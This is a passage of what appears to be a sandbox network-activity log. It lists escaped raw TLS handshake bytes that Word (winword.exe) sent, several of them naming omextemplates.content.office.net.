  408. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x015\\xcd\\xd1\\x1a\\xcc\\xc1\\x02\\xb3\\xf7s!\\x9c\\xdc\\x84j\\xa72j\\xd5\\xff\\x17\ng\\xc0\\xb4l\\xb0/,\\x82\\xd5\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  409.  
  410.  
  411. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x015\\xcd\\xd1\\x95=z\\xb8\\xa6\\x82\\x11\\xb8uq\\xbfj_\\xf5\\x8e\\x99\\x04ph\\xc7l\\xda\\xea?j\\xea\\x06\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  412.  
  413.  
  414. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x015\\xcd\\xd1e\\xd7\\xd7\\xcb\\x89\\xa1 \\x17\\x94\\xd5\\xa2\\xfa\\xe6\\xaf\\xe91\\x16\\xdc\"\\xcb\\xe1>\\x92\\xa5\\x0bo\\x8fq\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  415.  
  416.  
  417. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x015\\xcd\\xd1ho\\x820\\x0f\\x9c\\xf5q\\xa3.@k\\xd9\\xb2s+\\x05\\x19u>mc\\x19\\xbbpdqe\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  418.  
  419.  
  420. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x015\\xcd\\xd1\\xf1v\\xd3zf\\xee\\xde\\xdak\\x98v\\xebx\\xeb\\x94*\\x9f\\x9a\\xce\\xc4\\x05\\xc9\\xee\\xaf<\\xa2\\x90i\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  421.  
  422.  
  423. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x015\\xcd\\xd1\\x8d\\xf3\\x02\\xe2\\x95d0\\xf6\\xc0\\x9d\\x04va\\x00\\xbb\\xf2\\x1c9\\xd3j\\xd7\\x8f\\xd0\\xe92t\\x06-\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  424.  
  425.  
  426. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x015\\xcd\\xd1\\x84k\\xbbl\\x0c\\xa5;d\\xe4\\xc1q\\x0f\\xea\\x80\\x90\\x80h\\x8e\\xb1\\xdd\\xaa\\xb8\\x8c(\\x14f\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  427.  
  428.  
  429. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x015\\xcd\\xd10\\x17\\x17\\xe3\\x84\\x1a,2\\xa5\\x9c\\xc9\\xa0\\x1d\\xa3\\xd1.\\xf0=\\xa4 m\\x05%\\xfb\\xb8@h\\xf7\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  430.  
  431.  
  432. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x015\\xcd\\xd1\\xfc\\xb4\\xc1\\xc1\\xc0\\x94\\xa8\\xec\\xb1;\\xbc9<\\xbf\\x94\\xe21\\x0c\\xf4\\xc1\\x80\\x97\\xde\\x8e$\\x1e\\x17\\x19\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  433.  
  434.  
  435. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x015\\xcd\\xd1m\\xc8\\xa2\\xa3\\xeb\\x12\\xf1\\x08\\x80\\x12\\x1e\\xd5\\x06y\\x04\\x17\\xc5\\x89\\x15<|q\\xf9\\xd5\\xf5\\xb2\\xf6\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  436.  
  437.  
  438. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04o$\\xd7\\x9dn\\x0b\\xd6a,\\x1a\\xads\\xecz\\xe5)\\xe2y\\x98\\x8e\\xe0\\x0e\\x180@\\xe5\\x99\\xec\\x961a\\xb6\\xca\\x9fuh\\x0e\\xd8\\x1e\\xc9\\xb8b\\xb5\\xd2z\\xab\\x08\\x94\\x86\\xc1\\xdft5\\x98\r\\x01\\x7f\\xc4\\xf9\\xaf\\xefr \\xca\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xda(\n7\\xe0\\xd0\\xd0\\x856\\xfe=\\xd1sx\\xb7\\xf5\\x8f\\xcc\\x0bz\\xa5\\xfb\\xd6\\xb6\\xd7\\xc4\\xc1\\x92l\\xee'\r_\\x88\\xeb\\xffc\\xc6\\xfb\\xe8\\xe5l\\xf8\\xfe\\xf8b"
  439.  
  440.  
  441. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04z\\x10\\xe3$jx\\xd4~%:\\xb8ks\\x82$\"8\\xffb5\\xc9\\xca\\x94\\xbf\\xf9\\x1d0\\xb1\\x16\\xb2\\xf3\\xb6\\x10.\\x86\\xb7m\\xb0\\x9d\\xa5\\xc5\\xe7\\xd82^\\x954\\xe4\\x1e\\xa2j\\x1e\\xc4\\x1bqw\\9\"\\xffy\\xe8\\xdd\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xd6k\\xb0\\xdb\\xd8\\x99\\xb6\n*\\x08b\\x0e5\\xe3%;\\x94&\\xd3&\\x81\\xb9\\x90\\xff\\xc2\\xc69'a\\x88l'\\xc8\\xee\\xe93t*\\xc1l\"a\\x1c`%"
  442.  
  443.  
  444. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x0ct\\xa8\\x8as\\x95\\x04m\\xb9tw\\x8cwe\\xab\\xf3\\xf9\\xc3\\xf7<<d\\xa6\\xf9\\x00\\\\xadt\\xcb\\x93b\\xdf4o\\xee\\xba\n\\x95\\xa1j\\xc3b-j\\x82h\\x83\\xce\\xbe\\xc1\tkhz\\xd4\\x80~0\\xe0\\x13:\\\\xaa\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xae\\xe5um\\xca#e\\xd9h\\x7f\r\\x0e\\x1b\\xdfp\\xed.`k\\xa0\\xe3t\\x07\\xa5\\x17\\x12\\xea\\xc0(\\x98h\\xfc\\x90\\xfb\\xc6\\xb7\\xd6e\\xe6h\\xdf\\xcb\\xc2\\x9d\\xa2z\\xdf"
  445.  
  446.  
  447. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x015\\xcd\\xd1\\xfby\\x98\\x85::w\\xd8\\x81\\xb5y _z\\xbb\\xe0u\\x9ff\\xb9\\xbd*\\xd9/&u\\xe1\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  448.  
  449.  
  450. "http_request": "winword.exe_WSASend_~\\x01\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x015\\xcd\\xd1:\\x0ci\\xa7\\xabw\\x00jgy\\xf5\\xfds\\x0e\\x1ap\\x85\\x13\\xdc\\x00ap\\x91\\xb2kb\\x89a\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  451.  
  452.  
  453. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x015\\xcd\\xd1\\xe5\\xe0_\\x0b\\xf3\\xbd|pm3\\xec\\xf9\"\\x94\\xade!\\xb7p @\\xc8\\x8e\\xa8\\x91z\\xf1\\xab\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  454.  
  455.  
  456. "http_request": "winword.exe_WSASend_~\\x01\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xae\\xa5\\xc1>\\xa2\\xa9 \\xfc\\xc61t\\xa9*\\xc9u\\xb7q\\x94\\xd1\\xd1r\\xddt\\x1b\\xf5\\xd5c\\xf7\\x8a\\xe0\\x8a\\x84\\x8dp\\xb6 \\xe2_`\\x17xn\\xd2\\x97\\xdf\\x03\\xcbj\\xbaj#g\\x18(g\\xbd\\xe9\\xc6\\xd2\\xe6k*\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xe663\\xaf\\x8f\\x0f\\xc8kw\\xb2\\xbcsm\\x86\\x1e\\x80x\\x9f\\xbe\\x00ob\\xc3$\\x02\\xed\t\r\\xe2\\x97\\xd0re\\x18\\xb3\\xa4\\xdf\\xbbj>\\xd5\\x0e\\xe5\\xc3\\x8ac\\xaf\\x91"
  457.  
  458.  
  459. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04k\\xb2\\x9b\\xfb\\xabe\\xaa\\x01\\x1b0\\xc9\\xd1nk\\xd8\\xb8\\xc9\\xcfpo\\x9c*\\xa0\\xf0\\x93\\x95n6\\x8a\\xfd\\xf6x;x\\xbcr\\xbc\"\\x1e\\x10h\\xd7\\xa2\\x8b6\\xd2\\xff\\xd0\\xe47\\xb4\\xebb\\x83,\\x1b\\xdam\\x0b2'\\xd1\\xa4\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x9c\\xaea\\xd4y\\xae\\x13\\xb3\\xc3\\x9f\\xa3\\xf4\\x1c\\xc06\\xa4\\xf2u\\x04\\xed\\x9f\\xd4\\xf6w\\xe7\\x92y\\x8af\\x14\\x81\\xcd\\xeb^\\x05<(7?b,\\x15\\x8f\\x1a8\\xd4<"
  460.  
  461.  
  462. "http_request": "winword.exe_WSASend_~\\x01\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xc9\\x88b\\x06\\x9fb\\xf9n b?\\x13\\xb4\\x81@\\xdd\\x1f\\xf9\\x9f\\x1ff\\xdd\\x17\\xb9\\xe1r\\x16\\xd7\\x03p\\x9e\\xb42\\xa4\\x00\\xbb|s=\\xd3\\x96\\xd4\\xbe\\x05^\\x91\\xad\\xd7a\\xfc\\xcb\\xb4\\x07n\\xc4\\xafep\\x18\\x9f,\\xcf\\x9a\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xb7\\x84\\x13\\xac\\xe4\\xb6\"\\x02\\x1e\\xeb\\xd0\\x9a\\xc5\\x90k\\x1fw\\xe9\\xf0\\x91\\x0f\\xc6\\x9b\\xadu\\xf8\\xeb\\xb0\\x04xg$\\xabq\\x86\\xad\\x81j\\xea\\xa8\\x19\\xf5k\\xb4\\xfc`"
  463.  
  464.  
  465. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xf0\\x0f\\xc6\\xb7\\xc6\\xc0\\xd4\\x9c\\xbf\\xafi9\\x92\\xf5\\x96\\xe7\\xf7\\xee\\x19<s\\x89h\\x1c\\xae\\x8d\\xe4\\x83\\xc6\\x14\\x94\\x11\\x8d\\x88\\xda\\x8el\\xa3\\xfd\\x03\\x18\\xc5k\\xc4\\xc8v\\xc4\\x0f\\xe4\\xa4\\xe1!\\xa8a\\xaf\\xbe\\x88\\x17\\xfc\\x1c\\xfe\\x81\\x91\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000e>z\\xd6/\\x11\\x0cp)\\x1e\\x96\\x833\t\\xa0\\x89n\\xcdw\\x19\\xe2o\\x02w\\xb5\\x04 \\xe8y3\r\\xf3\\xd3\\x8e\\xd7)\\xce\\x14\\x92\\x81\\xcf\\x8b\\xf9*\\xd6\\xcc\\x14o"
  466.  
  467.  
  468. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xae\\xd8d;\\xa4t\\xde\\xf6\\x96*<\\xc6b\\x8f\\xf8z%\\xd0\\x7f\\xb7\\x1a\\x1aeu\\xde\\x1a\\xf8 \r\\xe1\\xf7g\\xe3\\x04\\xe8\\xb8\\x13:p\t_;q\\xe9\\x83\\xd6a\\x1a\\x19\\xcb\\xc7$e?\\x07\\x9e\\x8dpr\\xf2\\xa1\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000sk/1\\xec\\xfa\\xf72\n-\\xef\\xe7\\x90\\xe2\\xbf|\nn\\x00\\xabcq5\\x03h\\xf1\\x80)\\x06\\xcf\\xf5`a\\xe4\\x94\\xfa\\xeb\\x80\\x81x\\x97\\xa2\\x16q\\xc9\\x11x"
  469.  
  470.  
  471. "http_request": "winword.exe_WSASend_~\\x01\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x1b\\x98\\xef*\\xccr\\x94\\x0cfh\\xc8h\\x92\\x8a\\x0b\\x8a\\x17t$\\xa0\\xffl\t`\\x88$\\xc7mr\\xf37 35\\xf1\\x18\\xf6\\xd0n\\x94i\\xe9\\xaaw'\\xd7c\\xf68\\x8b\n\\xf7\r\\xeda\\x0e\\x9b#\\x0egl|\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000v\\xab\\x190\\xcb~\\x87o>\\xc1\\xf2\\x03q=,\\xf3\\x93\\x11;b\\xa4\\x1f\\xb3\\xe5o\\xae\\xa7\\x11\\xae\\xb4=x\\xce%\\x88\\xdf\\xa9>\\xba\\xdd\\xcb\\xa2\\x0b\\x14\\x80\\xa6\\x95\\x01"
  472.  
  473.  
  474. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x8bd\\xe7\\x0c\\xda\\x99\\xb9\\x7f\\xaa\\x18\\xd5\\x92m\\xda\\x86\\xe7m\\xb7y\\xd9\\xcd_\\x8c/\\xbao\\xa2p\\xb0?\\xca2_z\\x91\\xae\\xb5\\xc9p\"\\xa6\\xe5\\xaf\\xad#\\x9ar\\x9d~\\xb5\\x91)ii\\xee\\xfe\\xb4\\x0eg\\x1f\\xc0\\xce\\xf0\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xa9\\xec\\x19\\xb9\\xd8\\x18\\xc0|\\xe6\\xbf\\xb3j\\x83\\x8d\\\\x92\\x87y\\xaeugar\\x03\\xc1\\xf1y\\xb3tx\\x7f\\x95\\xa3\\x8d6\\xc6\\xed\\xae\\xff\\xe7\\xc7g\\xef\\x8d\\xe1|\\xd0\\xc9"
  475.  
  476.  
  477. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x04\\x1ch\\xf9\\x10\\xcbc\\x13\\xbe`\\xd7j\\x8f\\xfd'\\xee\\x1d\\xf8\\xd5?\n\\xe7l\\xc2\\x15\\xaa$\\xc0\\x9d\\xc8ton>\\xb6\ti\\x9ep\\xd5\t\\xf07\\xb2\\x04\\x1d\\xa1\\x9c\\xc1e\\xb3\\xe7\\xf5\\xdc\\xed\\xf1\\xa1\\xc7\\x10\\xdfan\\xa6\\xfb\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xc5\\xb6\\x8b%j\\x00\\xb76\\xd4\\xf0\\xc6(\\xfe\\x00\\xaa\\xcd\\x9e\\xb6\\xed\\x92\\xc5\\x99m\\xab\\xa7\\x9fg\n\\xc8k\\xff\\xe4\\xff\\x1aq\\x1d:o\\xdab\\xb2\\xf9\\x9c\\xe2\\x05\\xf3"
  478.  
  479.  
  480. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04p~ >b2\\xf8o;\\x90fs\\x11h\\xa91a\\xd7\\x82s\\x00\\x9a$\\xdbd\\xc6:0\\xf9\\xaav\\x0fbp\\xa7q\\xd3;=\\x8f\\xb6\\xd0_vl\\xae*\\xf5\t\\xc2q\\xaaa\\x9a\\x0f\\xa8\\xea\\xad\\xe3v;\\x8a\\x06\\xd5\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xe3\\xbb>_:br\\x14o\t\\x87\\x86\\x1c\\x01\\x1d!\\x94\\xb6\\x87\\xb2\\xa7\\x81\\xeeg\\x8a> \\xa6\\x9a\\x18\\xe2\\x1b\\x98\\xc0\\x13\\xab\\x01\\xe5\\x9e\ti\\xe3\\xbb\\xab^)"
  481.  
  482.  
  483. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x11p\\x86\\x83+\\x0f\\xa7'\\xf9\\x85\\xcd)f\\xc2e\\x82\\x13\\xfb\\xee\\xa2\\x83\\xc3o\\x9d8\\x12\\xe6\\x03\\xa6\\xec-\\xc6\\x18 d\\xfa\\x99\\xd8\\xe9\\x07\\xee\\x9fiu\\x8d\\xfam\\xaf\\x92f*\\x1c\\xa0&$\np\\x9a\\xd9\\x83u0\\x08)\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xac`0\\xcc4\\xd55\\xba\\xf61qjv,\\x0b\\x96\\xccn\\xd81\\xb7\\xe9\\xc56\\xcf\\xe4-g\\xb6\\xe7_d\\xa1ht|\\x96\\xea\\x1a\\x049\\xba\\x858\\xb2\\xaf"
  484.  
  485.  
  486. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xc2\\xb7\\xaab2\\xfe\\x87\"g\\xc0\\xd1\\2\\xc5\\x85x\\xd2\\q\\xd4\\xeb\\xabo\\x99\\x99\\xab<\\xd6~\\x1d\\xc4\\x06\\xa5\\xbby |\\xd0\\xa6&\\x08\\x8b\\xb6\\x18g4\\xfa\\x8e\\x0e\\xc2\\xce\\xa9\\xe8i%\\xb0\\xc5\\x1e\\x88/h\\xaek\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000m\\xbc\\xcb\\xa1\\x85\\x7fi\\xc1\\x04bb\\x97e\\x88\\x85\\xeb\\x8cu\\xe8\\xaf\\xec_\\xb1\\xcf\\xae\\x02i\\x10%w\\x15$\\xb1\\xf0\\x92\\xff \\xf0q\\xf4\\xdc\\xd8\\x803\ry\\xd1\\xbf"
  487.  
  488.  
  489. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x049\\x11pj\\xf6\\xa1w\\xca\\xd4y-\\x8b\r~u^\\xb99\\xca-^\\x07\\xe2u\\x8ch(\\xec\\xbej\\xe6\\\\xae\\x83\\xa8\\xael\\xd5\\xdbr\\x98m\\x9f\\x1f\\xad\\xd2~\\x9dm\\xa3x*w\\xe5\\xdc\\xf9\\xfar\n\\xb4\\xdb\\xefh\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x1a2\\xdd\\xd4+\\xec\\xfe\\x12z\\xa4t\\x06\\xe3\\x93\\x12\\xd64\\xa76\\xa4\\x85\\xfcy\\x01\\xec\\x9bc\\x1c\\xc8\\xdf\\x92\\x1e?\\xba\\xa7\\xb1\\x9cr\\xa8\\x1cfs\\x9d+-\\x14\\xcf\r"
  490.  
  491.  
  492. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04f\\x0b,\\x91\\xd1#\\x03\\xaa\\xe1\\xa6\\xec\\x86\\x1a+\\xb4\\xda\\xc1cly\\xb7\\xaa\\xea\\xc8\\xd6_,\\x86\\xd5>9d\\xda\\xea\\xa27e\\xef\\xaf\\xad\\xf7\\xe5t\\xearm\\xb9\\x14\\xc2\n\\xf5\\xfa\\xe8\\xd5\\x11\\x83wk\\xf5\\xac\\xe3\n\\x8e\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000g^\\x8a\\xdc\\x96r\\xe6\\xb6\\x9c\\xa3r\\xcc\\xd9\\xb2\\x9c\\x9c\\xf0\\xaey`\\xcf8\\xa3\\x1b\\xcbs(\\xa4\\x92\\xdck\\x17\\xd3\\xe1\\xcc0\\x18\\x1c$\\xf7\\xd9\\xb6?\\xd5\\xb7\\x88"
  493.  
  494.  
  495. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04n(\\x9b\\xa5\\x17(\\xaa>\\x08\\xcf\\x83\\x85\\x90<\\x0f\\xed\\xd6\t_\\x9etx\\x17_\\xa9$\"\\x95\\x8by\\x92?\\xfdn\\x91\\xab\\x8d\\xc6\\xdd\\x18yx\\xd3g\\x1e\\xf9\\x11\\x88\\xbf\\x07\\x8c\\xf1\\xc4:ei\\xc4\\xd3j6#\\xd8\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xc3\\x1dp\\xe0\\xd1\\xe0!\\xac\\x8f\\x0ck\\xf8\\x8a\\xc8\\xdb:\\xbb\\x08\\xa8;\\x1c,'\\xf4p\\xfd\\xa18hgr\\xafc\\xe9\\xddx\\xb2c'\\x98\\xdf\\xe8\\xfd\\xde\\xd1s|\\x1d"
  496.  
  497.  
  498. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x045\\xac\\x86ue\\xcf\\xbd\\xfa\\x85q\\xac\\xdbx\\xf8\\xd2bp\\xae|m\\xbe\\x9b\\xf7to\\xbc\\x84\\xb7iw\\xd4.\\xec\\x166\\x91%\\xf0\\xa4\\xdb\\xb2\\xefo\\x98~\\xb7\\xec\\xecwg_\\x1a\\xe8%/\\x9e\\xbd\\xd5c\\xc1\\xcb8\\xf3\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xdf\\xf2\\xcb\\x13c\\xd9x\\xdc\\xdd\\x13e)\\xd1r\\x05r\\x9a-\\x8dhz-y\\xfen\\xbac\\xb9\\xc3\\x80\\x7f\\x97\\xcf\\x86\\xe7#\\x8e\\x0cz\\xb0\\xbcw\\xfb\\xffk,\\x17"
  499.  
  500.  
  501. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x83_\\x04\\x9d\\x91h\\x86k\\x8be\\x8bm-\\xfapyx &\\x0bd\\xb9z\\x11\\xae\\xcf\\x80\\x8cx<\\x8e9ik\\x7f\\xfa\\xed\\x9e0\t\\xa8\\x87\\x8e\\x1c\\xf1\\xb8\\xab\\xc6\\xa9\\x1f\\xb6un~vl\\x19\\xfb\t\\x11b\\xfbm\\xb0\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000y\\xe8\\xa6\\xf7z\\xf4\\x99\\x9d\\xbb\\x07^\\xf1\\x9e^\\xd4\\x03\\x941\\x88\\x89tg\\xe0\\x05\\xce\\xc4^u\\xe6\\x93\\xb3\\xd7\\x1egr\\xc2^\\xc2\\x1a\\xb1\\xd21\\x95\\xa3\\xe3\\x19\t"
  502.  
  503.  
  504. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xf8\\xcc\\x90\\x97\\xec\\xde\\xde\\x1b&\\x1cm\\x8fe\\x1d\\xc1\\x0c\\x7fyf\\xa7z\\xfe#i\\x86s\\x9aw\\xcc\\x8av\\xa2\r\\xfe\\xed\\xf1\\xe6\\x7f\\xe9\\xe0\\xca\\xce1\\xe6\\x84\\xd4(\\xbda\\x86e\\xbb\\xbd\\x0f0\\xdbdnb\\x80\\xb57\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xd3\\x9c\\x9c-\\x96\\xe8\\xc8\\x02\\x18\\x8e\\xfaa\\xa6cu\\xc5v\\xba\\x925*\\x18b\\xb0f\\xf0z\\xe9\\xd2gq\\xc0\\x81\\xc1\\xa76pu \\xeb\\xa5\"(g\\xb1g#\\xc3"
  505.  
  506.  
